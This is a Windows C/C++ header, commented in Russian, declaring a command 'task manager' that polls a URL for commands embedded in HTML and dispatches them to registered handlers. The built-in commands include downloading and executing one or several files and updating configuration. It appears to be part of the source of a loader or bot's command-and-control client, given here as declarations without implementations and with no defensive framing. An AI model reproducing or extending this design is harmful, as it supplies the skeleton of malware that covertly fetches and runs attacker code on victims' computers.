//---------------------------------------------------------------------------

#include "windows.h"

#ifndef TaskH
#define TaskH
//---------------------------------------------------------------------------


//===============================================================
//  Идентификаторы команд
//===============================================================
#define COMMAND_ALL 0xFFFFFFFF  // Все команды

#define COMMAND_UPDATE_CONFIG  0x00000001 // Загрузить конфигурационный файл
#define COMMAND_DOWNLOAD       0x00000002 // Загрузить и выполнить файл
#define COMMAND_MULTI_DOWNLOAD 0x00000004 // Загрузить и выполнить несколько файлов




//---------------------------------------------------------------
// PTaskManager - Менеджер выполнения команд, задач
//---------------------------------------------------------------
typedef LPVOID PTaskManager;


//---------------------------------------------------------------
// TCommandMethod - Метод выполнения команды
//---------------------------------------------------------------
typedef bool (*TCommandMethod)(PTaskManager,    // Менеджер в контексте которого
												// выполняется команда
							   PCHAR,  			// Команда
							   PCHAR); 			// Аргументы


//*****************************************************************
//  InitializeTaskManager Инициализировать менеджер задач
//
//  Manager - указатель на перемунную менеджера задач.
//			  Если не указан, то будет инициализирован
//			  глобальный менеджер задач
//
//  ВАЖНО!!! Для корректной работы системы обработки задач
//			 необходимо обязательно инициализировать менеджер
//			 задач перед регистрацией команд!!!!
//*****************************************************************
bool InitializeTaskManager(PTaskManager *Manager);


//*****************************************************************
//  FreeTaskManager Уничтожаем менеджер задач
//
//  Если не указать Manager, то будет уничтожен глобальный
//  менеджер задач
//*****************************************************************
void FreeTaskManager(PTaskManager Manager);


//*****************************************************************
//  GetGlobalTaskManager - Функция возвращает глобальный менеджер
//						   выполнения задач
//*****************************************************************
PTaskManager GetGlobalTaskManager();


//*****************************************************************
//	RegisterCommand - Зарегистрировать команду
//
//  Manager - Менеджер выполнения команд. Если не указан, то команды
//			  регистрируются для глобального менеджера задач
//
//  CommandName - Имя команды
//
//  Method - Метод выполнения команды
//
//*****************************************************************
bool RegisterCommand(PTaskManager Manager, PCHAR CommandName, TCommandMethod Method);


//*****************************************************************
//	StartTaskManager - Запускает цикл загрузки и обработки команд
//
//  Manager - менеджер который будет выполнять команды. Если не
//			  указан, то будет использован глобальный менеджер
//
//  URL - Адрес откуда будут загружаться команды
//
//  InitManager - При запуске инициализировать менеджер. Актуально
//				  только если не указан парметр Manager
//
//  InitCommands - При запуске регистрировать известные коменды
//
//  Результат - Вернёт истину если менеджер команд отработал
//  			цикл выполнения команд
//
//*****************************************************************
bool StartTaskManager(PTaskManager Manager, PCHAR URL, bool InitManager, bool InitCommands);


//*****************************************************************
// StopTaskManager - Прервать выполнение цикла обработки команд
//*****************************************************************
void StopTaskManager(LPVOID Manager);

//*****************************************************************
//  RegisterAllCommands - Функция регистрирует известные команды
//*****************************************************************
void RegisterAllCommands(PTaskManager Manager, DWORD Commands);

//*****************************************************************
//  DownloadCommand - функция загружает команду
//
//  URL - Адрес загрузки команды
//
//  HTMLCode - Загруженный код HTML
//*****************************************************************
bool DownloadCommand(PCHAR URL, PCHAR Password, PCHAR *HTMLCode);

//*****************************************************************
//	DownloadAndExecuteCommand - Загрузить и выполнить команду
//
//  Manager - Менеджер выполнения команд. Если не указан,
//			  то будет испольщован глобальный менеджер команд
//
//  URL - Адрес загрузки команд
//
//  Результат - Возвращает истину если операция была успешно
//				выполнена
//
//*****************************************************************
bool DownloadAndExecuteCommand(PTaskManager Manager, PCHAR URL);

//*****************************************************************
//  TaskManagerSleep  - приостановить поток выполнения команд.
//						Время остановки берётся из настроек
//						менеджера команд.
//
//  Manager - Менеджер команд. Если не указан, то будет ИСПОЛЬЗОВАН
//            ГЛОБАЛЬНЫЙ
//
//  Результат - функция всегда возвращает истину, за исключение
//				когда менеджеру команд дана команда прервать
//				обработку команд функция не смогла определить
//				менеджер задач для которого работать
//
//*****************************************************************

bool TaskManagerSleep(PTaskManager Manager);

// Выполнить команду Command с аргументами Args
// В случае если Deferred == true выполнение команды будет передано
// В поток выполнения
bool ExecuteCommand(LPVOID Manager, PCHAR Command, PCHAR Args, bool Deferred = false);

// Раcпарсить HTML и выполнить команду
bool ExecuteCommand(LPVOID Manager, PCHAR HTML, bool Deferred = false);


//---------------------------------------------------------------------------
#endif
